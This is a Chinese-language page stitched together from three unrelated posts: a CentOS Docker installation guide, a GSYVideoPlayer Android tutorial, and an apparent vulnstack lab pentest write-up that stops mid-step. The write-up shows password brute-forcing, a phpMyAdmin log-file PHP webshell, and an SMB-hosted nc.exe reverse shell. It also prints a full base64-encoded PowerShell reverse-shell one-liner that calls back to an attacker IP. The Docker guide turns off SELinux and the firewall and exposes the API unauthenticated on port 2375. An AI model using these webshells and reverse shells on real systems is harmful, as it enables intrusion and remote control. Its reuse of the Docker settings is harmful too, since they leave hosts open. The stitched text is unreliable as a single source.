网络模式说明

网络模式 配置 说明
bridge --network=bridge 为每个容器分配 IP 。并将容器连接到 docker0 虚拟网桥上,这种模式是默认模式
host --network=host 容器不会创建自己的网卡,配置 IP 等,而是使用宿主机的 IP 和端口
none --network=none 容器关闭网络功能,不进行任何网路设置
container --network=container 容器不会创建自己的网卡和IP,而是和一个指定的容器共享 IP 和端口
custom --network=new_bridge 为每个容器分配 IP 。并将容器连接到自定义的虚拟网桥上

Docker 安装方式

准备环境

系统要求
:Docker 支持 64 位版本 CentOS 7/8,并且要求内核版本不低于 3.10。 CentOS 7 满足最低内核的要求,但由于内核版本比较低,部分功能(如 overlay2 存储层驱动)无法使用,并且部分功能可能不太稳定。

如需升级 Linux 内核参考《
CentOS 7 内核升级最新记录(yum及编译)

[root@localhost ~]# cat /etc/redhat-release
CentOS Linux release 7.9.2009 (Core)
[root@localhost ~]# uname -r
3.10.0-1160.el7.x86_64

[root@localhost ~]# setenforce 0
[root@localhost ~]# sed -i.bak '7s/enforcing/disabled/' /etc/selinux/config

[root@localhost ~]# swapoff -a
[root@localhost ~]# sed -ri.bak 's/.*swap.*/#&/' /etc/fstab

[root@localhost ~]# systemctl stop firewalld && systemctl disable firewalld
[root@localhost ~]# firewall-cmd --state
not running

# 更换阿里源
[root@localhost ~]# mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
[root@localhost ~]# curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
[root@localhost ~]# curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo 

在线 YUM 安装

时间:2024-09

# 卸载旧版本
[root@localhost ~]# yum remove docker docker-client docker-client-latest docker-common docker-latest \
docker-latest-logrotate docker-logrotate docker-selinux docker-engine-selinux docker-engine

# 安装所需的软件包。yum-utils 提供了 yum-config-manager
[root@localhost ~]# yum install -y yum-utils

# 添加 yum 软件源(三选一)
[root@localhost ~]# yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo  # 阿里源

yum-config-manager --add-repo https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/centos/docker-ce.repo  # 清华大学源

yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo   # 官方源(较慢)

# 列出存储库中可用的版本。按版本号(从高到低)
[root@localhost ~]# yum list docker-ce --showduplicates | sort -r
 * updates: mirrors.aliyun.com
Loading mirror speeds from cached hostfile
Loaded plugins: fastestmirror
 * extras: mirrors.aliyun.com
docker-ce.x86_64            3:26.1.4-1.el7                      docker-ce-stable
docker-ce.x86_64            3:26.1.3-1.el7                      docker-ce-stable
docker-ce.x86_64            3:26.1.2-1.el7                      docker-ce-stable
docker-ce.x86_64            3:26.1.1-1.el7                      docker-ce-stable
docker-ce.x86_64            3:26.1.0-1.el7                      docker-ce-stable
docker-ce.x86_64            3:26.0.2-1.el7                      docker-ce-stable
docker-ce.x86_64            3:26.0.1-1.el7                      docker-ce-stable
docker-ce.x86_64            3:26.0.0-1.el7                      docker-ce-stable
docker-ce.x86_64            3:25.0.5-1.el7                      docker-ce-stable
docker-ce.x86_64            3:25.0.4-1.el7                      docker-ce-stable
docker-ce.x86_64            3:25.0.3-1.el7                      docker-ce-stable
docker-ce.x86_64            3:25.0.2-1.el7                      docker-ce-stable
docker-ce.x86_64            3:25.0.1-1.el7                      docker-ce-stable
docker-ce.x86_64            3:25.0.0-1.el7                      docker-ce-stable
docker-ce.x86_64            3:24.0.9-1.el7                      docker-ce-stable
docker-ce.x86_64            3:24.0.8-1.el7                      docker-ce-stable

# 安装最新版本
[root@localhost ~]# yum install docker-ce docker-ce-cli containerd.io

# 若选择版本安装 例如docker-ce-24.0.9
yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io

# 若选择测试版本的 Docker 请执行以下命令
yum-config-manager --enable docker-ce-test

# 验证
[root@localhost ~]# docker -v
Docker version 26.1.4, build 5650f9b

# 添加国内镜像加速(每次修改需重启 docker)
[root@localhost ~]# cat > /etc/docker/daemon.json <<EOF
{
    "registry-mirrors": [
        "https://mirror.baidubce.com",
        "https://mirror.ccs.tencentyun.com",
        "https://wxvmh7l6.mirror.aliyuncs.com",
        "https://hub.atomgit.com",
        "https://registry.docker-cn.com",
        "https://mirrors.tuna.tsinghua.edu.cn",
        "http://hub-mirror.c.163.com",
        "https://docker.mirrors.ustc.edu.cn"
    ]
}
EOF

# 启动
[root@localhost ~]# systemctl daemon-reload && systemctl start docker

# 测试 Docker 是否安装正确
[root@localhost ~]# docker run --rm hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
d195baed67eb: Pull complete
Digest: sha256:be06e3c4ce8780c0f87fbf66ec9b34623ba2fd14caa5559be5b593653821b814
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/

若能正常输出以上信息,则说明安装成功。

二进制离线安装

时间:2024-09

下载 Docker 地址

# 下载 Docker docker-23.0.6.tgz 为例 (当前最新版本 docker-27.2.0.tgz)
[root@localhost ~]# wget https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-23.0.6.tgz
[root@localhost ~]# tar -xf docker-23.0.6.tgz
[root@localhost ~]# cp docker/* /usr/bin/

[root@localhost ~]# docker -v
Docker version 23.0.6, build ef23cbc
[root@localhost ~]# docker -h

# 将docker注册为 Systemd 的 service
[root@localhost ~]# cat > /etc/systemd/system/docker.service <<EOF
[Unit]
Description=Docker Application Container Engine
Documentation=https://docs.docker.com
After=network-online.target firewalld.service
Wants=network-online.target
  
[Service]
Type=notify
# the default is not to use systemd for cgroups because the delegate issues still
# exists and systemd currently does not support the cgroup feature set required
# for containers run by docker
ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock --selinux-enabled=false --default-ulimit nofile=65536:65536
ExecReload=/bin/kill -s HUP $MAINPID
# Having non-zero Limit*s causes performance problems due to accounting overhead
# in the kernel. We recommend using cgroups to do container-local accounting.
LimitNOFILE=infinity
LimitNPROC=infinity
LimitCORE=infinity
# Uncomment TasksMax if your systemd version supports it.
# Only systemd 226 and above support this version.
#TasksMax=infinity
TimeoutStartSec=0
# set delegate yes so that systemd does not reset the cgroups of docker containers
Delegate=yes
# kill only the docker process, not all processes in the cgroup
KillMode=process
# restart the docker process if it exits prematurely
Restart=on-failure
StartLimitBurst=3
StartLimitInterval=60s
  
[Install]
WantedBy=multi-user.target

EOF


# 如果需要开启远程服务ExecStart属性修改为以下命令:
ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock --selinux-enabled=false --default-ulimit nofile=65536:65536
# -H tcp://0.0.0.0:2375 开启远程连接命令

# 添加文件可执行权限
[root@localhost ~]# chmod +x /etc/systemd/system/docker.service

# 添加国内镜像加速(每次修改需重启 docker)
[root@localhost ~]# mkdir /etc/docker
[root@localhost ~]# cat > /etc/docker/daemon.json <<EOF
{
    "registry-mirrors": [
        "https://mirror.baidubce.com",
        "https://mirror.ccs.tencentyun.com",
        "https://wxvmh7l6.mirror.aliyuncs.com",
        "https://hub.atomgit.com",
        "https://registry.docker-cn.com",
        "https://mirrors.tuna.tsinghua.edu.cn",
        "http://hub-mirror.c.163.com",
        "https://docker.mirrors.ustc.edu.cn"
    ]
}
EOF

# 启动
[root@localhost ~]# systemctl daemon-reload && systemctl start docker

# 测试 Docker 是否安装正确
[root@localhost ~]# docker run --rm hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
d195baed67eb: Pull complete
Digest: sha256:be06e3c4ce8780c0f87fbf66ec9b34623ba2fd14caa5559be5b593653821b814
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/

若能正常输出以上信息,则说明安装成功。

Docker 常用命令


GSYVideoPlayer是一个国产的移动端视频播放器,它采用了IJKPlayer、Media3(EXOPlayer)、MediaPlayer、AliPlayer等四种播放器内核,支持弹幕、滤镜、广告等多项功能。

GSYVideoPlayer的Github主页为https://github.com/CarGuo/GSYVideoPlayer,截止2024年8月18日,该项目的Github星标数为2万,副本数为0.42万,这个成绩算是相当不错的了,要知道FFmpeg项目同期在Github的星标数也才4.44万。
不过在App工程中集成GSYVideoPlayer的话,得注意环境配置以免导入失败。具体的导入操作步骤说明如下:

一、安装Android Studio Jellyfish

虽然GSYVideoPlayer主页没有说明要在哪个版本的Android Studio中导入该库,但在实际操作中发现,即使是前两年推出的Android Studio Dolphin(小海豚版本)都无法正常导入GSYVideoPlayer,就更别说更早的Android Studio了。
若想正常导入并成功调用GSYVideoPlayer,还需安装较新的Android Studio,比如小水母版本的Android Studio Jellyfish。尽管小水母版本的新建App工程采用Kotlin编码,不过GSYVideoPlayer支持Java编码,所以仍然可以在Java代码中调用GSYVideoPlayer。

二、修改App工程的配置

首先打开App项目的settings.gradle,在repositories节点内部补充下面两行仓库配置,以便从指定仓库拉取GSYVideoPlayer库。

maven { url 'https://jitpack.io' }
maven { url "https://maven.aliyun.com/repository/public" }

接着打开App模块的build.gradle,在dependencies节点内部内部补充下面配置,表示引入9.0.0版本的GSYVideoPlayer库。

// 支持Java
implementation 'com.github.CarGuo.GSYVideoPlayer:gsyVideoPlayer-java:v9.0.0-release-jitpack'
// 支持ExoPlayer模式
implementation 'com.github.CarGuo.GSYVideoPlayer:GSYVideoPlayer-exo2:v9.0.0-release-jitpack'
// 支持AliPlayer模式
implementation 'com.github.CarGuo.GSYVideoPlayer:GSYVideoPlayer-aliplay:v9.0.0-release-jitpack'
// 支持arm64指令集
implementation 'com.github.CarGuo.GSYVideoPlayer:gsyVideoPlayer-arm64:v9.0.0-release-jitpack'

然后打开App模块的AndroidManifest.xml,补充下面的互联网权限配置:

<uses-permission android:name="android.permission.INTERNET" />

完成以上三处配置修改之后,才能在App代码中使用GSYVideoPlayer的播放器控件。

三、在App代码中使用播放器

GSYVideoPlayer提供了三种播放器控件,分别是NormalGSYVideoPlayer、GSYADVideoPlayer和ListGSYVideoPlayer,它们在App代码中的用法分别说明如下:

1、普通播放器NormalGSYVideoPlayer

NormalGSYVideoPlayer用来播放单个视频文件,在XML文件中放置该控件的代码如下所示:

<com.shuyu.gsyvideoplayer.video.NormalGSYVideoPlayer
    android:id="@+id/video_player"
    android:layout_width="match_parent"
    android:layout_height="300dp" />

2、广告播放器GSYADVideoPlayer

GSYADVideoPlayer用来播放视频文件的片头广告,注意该控件要和NormalGSYVideoPlayer搭配使用。在XML文件中放置该控件的代码如下所示:

<RelativeLayout
    android:layout_width="match_parent"
    android:layout_height="match_parent">
    <com.shuyu.gsyvideoplayer.video.NormalGSYVideoPlayer
        android:id="@+id/detail_player"
        android:layout_width="match_parent"
        android:layout_height="300dp" />
    <com.shuyu.gsyvideoplayer.video.GSYADVideoPlayer
        android:id="@+id/ad_player"
        android:layout_width="match_parent"
        android:layout_height="300dp"
        android:visibility="gone" />
</RelativeLayout>

3、列表播放器ListGSYVideoPlayer

ListGSYVideoPlayer用来播放在时间上按顺序排成列表的若干视频文件,在XML文件中放置该控件的代码如下所示:

<com.shuyu.gsyvideoplayer.video.ListGSYVideoPlayer
    android:id="@+id/detail_player"
    android:layout_width="match_parent"
    android:layout_height="300dp" />

在XML文件中放置上述三个播放器的任意一种控件之后,再回到Java代码执行视频播放操作。以NormalGSYVideoPlayer为例,通过Java播放单个视频文件的代码例子如下:

private static String URL_MP4 = "https://video.zohi.tv/fs/transcode/20240520/8cc/355193-1716184798-transv.mp4";
private NormalGSYVideoPlayer video_player;
private OrientationUtils orientationUtils;

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_simple_player);
    video_player = findViewById(R.id.video_player);
    // 设置旋转
    orientationUtils = new OrientationUtils(this, video_player);
    // 设置全屏按键功能,这是使用的是选择屏幕,而不是全屏
    video_player.getFullscreenButton().setOnClickListener(v -> {
        // 不需要屏幕旋转,还需要设置 setNeedOrientationUtils(false)
        orientationUtils.resolveByClick();
    });
    // 不需要屏幕旋转
    video_player.setNeedOrientationUtils(false);
    findViewById(R.id.btn_play_mp4).setOnClickListener(v -> {
        video_player.setUp(URL_MP4, true, "数字中国峰会迎宾曲");
    });
}

然后运行测试App,观察NormalGSYVideoPlayer播放网络视频的效果如下图所示:

因为NormalGSYVideoPlayer的播放内核基于IJKPlayer、EXOPlayer和AliPlayer,默认就支持HLS、RTMP等直播链接,所以无需改动代码,只要把视频地址换成以m3u8结尾的HLS链接,或者以rtmp开头的RTMP链接,即可让NormalGSYVideoPlayer播放直播内容。利用NormalGSYVideoPlayer播放直播视频的效果图如下所示:

更多详细的FFmpeg开发知识参见
《FFmpeg开发实战:从零基础到短视频上线》
一书。


红日靶机(一)笔记

概述

域渗透靶机,可以练习对域渗透的一些知识,主要还是要熟悉 powershell 语法,powershell 往往比 cmd 的命令行更加强大,而很多渗透开源的脚本都是 powershell 的。例如
NiShang

PowerView
等等。这是域渗透的初学靶机。其中也遇到了一些问题

靶机地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

红日靶机的默认密码:hongrisec@2019

我这里

  • web:192.168.81.239
  • win7: 192.168.52.141
  • 域控: 192.168.52.138

我看的 kali 攻击机 192.168.81.37

一、nmap 扫描

1)主机发现

sudo nmap -sn 192.168.81.0/24
Nmap scan report for 192.168.81.239
Host is up (0.00047s latency).
MAC Address: 00:0C:29:EC:F8:D6 (VMware)

看到我的靶机 ip 是
192.168.81.239

2)端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.81.239
# Nmap 7.93 scan initiated Wed Sep  4 05:56:09 2024 as: nmap -sT --min-rate 10000 -p- -o ports 192.168.81.239
Warning: 192.168.81.239 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.81.239
Host is up (0.00079s latency).
Not shown: 61205 closed tcp ports (conn-refused), 4319 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1230/tcp open  periscope
3306/tcp open  mysql
MAC Address: 00:0C:29:EC:F8:D6 (VMware)

# Nmap done at Wed Sep  4 05:56:21 2024 -- 1 IP address (1 host up) scanned in 12.44 seconds

对端口进行处理

cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','

赋值给变量

ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')

3)详细信息扫描

这里在
$ports
处可以使用
tab
键显示变量的值

sudo nmap -sT -sV -sC -O -p$ports 192.168.81.239 -o details
# Nmap 7.93 scan initiated Wed Sep  4 06:01:26 2024 as: nmap -sT -sC -sV -O -p80,135,139,445,1025,1026,1027,1028,1029,1230,3306 -o details 192.168.81.239
Nmap scan report for 192.168.81.239
Host is up (0.00097s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1028/tcp open  msrpc        Microsoft Windows RPC
1029/tcp open  msrpc        Microsoft Windows RPC
1230/tcp open  msrpc        Microsoft Windows RPC
3306/tcp open  mysql        MySQL (unauthorized)
MAC Address: 00:0C:29:EC:F8:D6 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 000c29ecf8d6 (VMware)
|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-09-04T10:02:28
|_  start_date: 2024-09-04T09:46:14
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: stu1
|   NetBIOS computer name: STU1\x00
|   Domain name: god.org
|   Forest name: god.org
|   FQDN: stu1.god.org
|_  System time: 2024-09-04T18:02:28+08:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  4 06:02:39 2024 -- 1 IP address (1 host up) scanned in 73.24 seconds

二、Web 渗透

打开 WEB 页面

image-20240904190151295

是一个 php 探针,往下翻

看到有个检验 mysql 的按钮

image-20240904190355871

随便输入,开启 burp 抓包

抓到

image-20240904190503862

sudo vi pass_req

把 http 的 raw 格式粘贴进去

POST /l.php HTTP/1.1
Host: 192.168.81.239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://192.168.81.239
Connection: close
Referer: http://192.168.81.239/l.php
Upgrade-Insecure-Requests: 1

host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=

把需要爆破的参数改为 FUZZ 的样式 :
login=FUZZ1&password=FUZZ2

1)密码爆破

这里我用的 ffuf 工具,-mode 可以指定爆破模式,-w 也是制定了比较常规的用户名和密码的弱口令字典

当然喜欢用 burp 也没关系,看个人喜好吧

sudo ffuf --request pass_req -u http://192.168.81.239 -w /usr/share/SecLists/Usernames/top-usernames-shortlist.txt:FUZZ1 -w /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt:FUZZ2 -fs 14807 -mode clusterbomb

结果:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://192.168.81.239
 :: Wordlist         : FUZZ1: /usr/share/SecLists/Usernames/top-usernames-shortlist.txt
 :: Wordlist         : FUZZ2: /usr/share/SecLists/Passwords/2023-200_most_used_passwords.txt
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Origin: http://192.168.81.239
 :: Header           : Connection: close
 :: Header           : Referer: http://192.168.81.239/l.php
 :: Header           : Host: 192.168.81.239
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
 :: Header           : Accept-Encoding: gzip, deflate
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Data             : host=localhost&port=3306&login=FUZZ1&password=FUZZ2&act=MySQL%E6%A3%80%E6%B5%8B&funName=
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 14807
________________________________________________

[Status: 200, Size: 14804, Words: 1464, Lines: 401, Duration: 2136ms]
    * FUZZ1: root
    * FUZZ2: root

:: Progress: [3400/3400] :: Job [1/1] :: 19 req/sec :: Duration: [0:02:59] :: Errors: 0 ::

存在弱口令
root:root

我们写进凭证里

echo 'root:root' > creds

2)目录爆破

拿到了数据库凭证,而这是一个 phpstudy 的网站,我们进行一下目录爆破,看看有没有什么后台页面之类的

sudo gobuster dir -u http://192.168.81.239 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

这里用的 gobuster 当然很多工具都可以进行目录爆破比如:feroxbuster ffuf dirb dirsearch wfuzz 等都有相应的功能,只是工具会采用不同的算法,在我们一个工具没法走下去的时候,可以尝试另一个工具,很有可能就会有我们想要的结果

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.81.239
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/%20                  (Status: 403) [Size: 210]
/*checkout*           (Status: 403) [Size: 219]
/phpmyadmin           (Status: 301) [Size: 241] [--> http://192.168.81.239/phpmyadmin/]
/*docroot*            (Status: 403) [Size: 218]
/*                    (Status: 403) [Size: 210]
/con                  (Status: 403) [Size: 212]
/http%3A              (Status: 403) [Size: 214]
/**http%3a            (Status: 403) [Size: 216]
/*http%3A             (Status: 403) [Size: 215]
/aux                  (Status: 403) [Size: 212]
/**http%3A            (Status: 403) [Size: 216]
/%C0                  (Status: 403) [Size: 210]
/%3FRID%3D2671        (Status: 403) [Size: 218]
/devinmoore*          (Status: 403) [Size: 220]
/200109*              (Status: 403) [Size: 216]
/*sa_                 (Status: 403) [Size: 213]
/*dc_                 (Status: 403) [Size: 213]
/%D8                  (Status: 403) [Size: 210]
/%CE                  (Status: 403) [Size: 210]
/%CF                  (Status: 403) [Size: 210]
/%CD                  (Status: 403) [Size: 210]
/%CB                  (Status: 403) [Size: 210]
/%CC                  (Status: 403) [Size: 210]
/%D1                  (Status: 403) [Size: 210]
/%CA                  (Status: 403) [Size: 210]
/%D0                  (Status: 403) [Size: 210]
/%D3                  (Status: 403) [Size: 210]
/%D6                  (Status: 403) [Size: 210]
/%D7                  (Status: 403) [Size: 210]
/%D5                  (Status: 403) [Size: 210]
/%D4                  (Status: 403) [Size: 210]
/%D2                  (Status: 403) [Size: 210]
/%C9                  (Status: 403) [Size: 210]
/%C1                  (Status: 403) [Size: 210]
/%C8                  (Status: 403) [Size: 210]
/%C2                  (Status: 403) [Size: 210]
/%C5                  (Status: 403) [Size: 210]
/%C6                  (Status: 403) [Size: 210]
/%C7                  (Status: 403) [Size: 210]
/%C3                  (Status: 403) [Size: 210]
/%C4                  (Status: 403) [Size: 210]
/%D9                  (Status: 403) [Size: 210]
/%DE                  (Status: 403) [Size: 210]
/%DF                  (Status: 403) [Size: 210]
/%DD                  (Status: 403) [Size: 210]
/%DB                  (Status: 403) [Size: 210]
/phpMyAdmin           (Status: 301) [Size: 241] [--> http://192.168.81.239/phpMyAdmin/]
/login%3f             (Status: 403) [Size: 215]
/%22james%20kim%22    (Status: 403) [Size: 230]
/%22julie%20roehm%22  (Status: 403) [Size: 232]
/%22britney%20spears%22 (Status: 403) [Size: 235]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================


phpMyAdmin
页面,我们访问一下

image-20240904192705361

输入刚爆破出来的凭证
root:root
就登陆到数据库的后台了

image-20240904193038489

三、获得立足点

phpmyadmin 后台 getshell 的方法

  1. 直接在 web 目录用 select ... into outfile 写入 webshell (需要有写权限)
  2. 利用日志写入 webshell

第一种我们执行

SHOW VARIABLES LIKE '%secure%'

看到

image-20240904194641946

secure_file_priv
值为
NULL
禁止写入文件,如果这个值为目录名称,则可以在指定目录写入文件。
这个值是只读变量,只能通过配置文件修改。

第一种走不通了

第二种 利用日志文件

SHOW VARIABLES LIKE 'general%'

image-20240904195113907

general_log
: 表示日志功能的开关,我们可以通过 sql 语句设置它

general_log_file
: 它指定了我们日志生成的绝度路径

日志开启将会记录我们所有的 sql 语句操作

 set global general_log=on;# 开启日志
 
 set global general_log_file='C:/phpStudy/WWW/lingx5.php';# 设置日志位置为网站目录

绝对路径刚开始的 php 探针已经有了,让我们把全局日志记录打开

image-20240904200423585

执行

select '<?php @eval($_GET["code"]);?>'

访问

image-20240904200224427

反弹 shell

真正的攻防中,也是不建议直接菜刀,蚁剑等工具直接连接,应为他们的流量特征过于明显,稍不注意就会引起流量监测设备的告警。而哥斯拉虽然在流量上做了加密,但是它的木马格式,通信协议和行为特征相对固定,如果要用的话还是建议自己在基础上做二次开发,达到对一些检测设备的绕过。

a) 错误的尝试

在 kali 端,安装
nc.exe
,开启 smbserver 服务,并开启监听

下面命令使用 python 在当前文件夹开启一个名为 share 的 smb 共享目录

python /usr/share/doc/python3-impacket/examples/smbserver.py share .

监听端口

nc -lvp 8888

image-20240904211825105

命令注入,访问链接

http://192.168.81.239/lingx5.php?code=system('\\\\192.168.81.37\\share\\nc.exe -e cmd.exe 192.168.81.37 8888 );

这里 smb 显示连接正常。等了半天没弹回来,有点气人,我作弊去它的 window7 里看了看,发现

image-20240904212431033

这台靶机的 win7 不兼容 nc 啊,我试了 64 位和 32 位,都不兼容。不过这也是一个思路,告诉给大家,让大家对 smb 服务有更加深刻的印象

b) 直接命令注入

google 搜索 :php reverse windows powershell

看了篇文章:
https://int0x33.medium.com/from-php-s-hell-to-powershell-heaven-da40ce840da8

用 rlwrap 获得一个交互性更强的 shell

sudo rlwrap nc -lvp 8888

powershell 建立连接的命令

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.81.37',8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

进行 base64 编码

cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCcxOTIuMTY4LjgxLjM3Jyw4ODg4KTskc3RyZWFtID0gJGNsaWVudC5HZXRTdHJlYW0oKTtbYnl0ZVtdXSRieXRlcyA9IDAuLjY1NTM1fCV7MH07d2hpbGUoKCRpID0gJHN0cmVhbS5SZWFkKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXs7JGRhdGEgPSAoTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRieXRlcywwLCAkaSk7JHNlbmRiYWNrID0gKGlleCAkZGF0YSAyPiYxIHwgT3V0LVN0cmluZyApOyRzZW5kYmFjazIgPSAkc2VuZGJhY2sgKyAnUFMgJyArIChwd2QpLlBhdGggKyAnPiAnOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX07JGNsaWVudC5DbG9zZSgpIg==

因为命令里的特殊字符的问题,我尝试着直接输入或者进行 url 编码,都没有反弹不成功,所以就用 base64 编码,再用 php 函数的 base64_decode()方法解码,避免特殊字符带来的干扰

访问链接

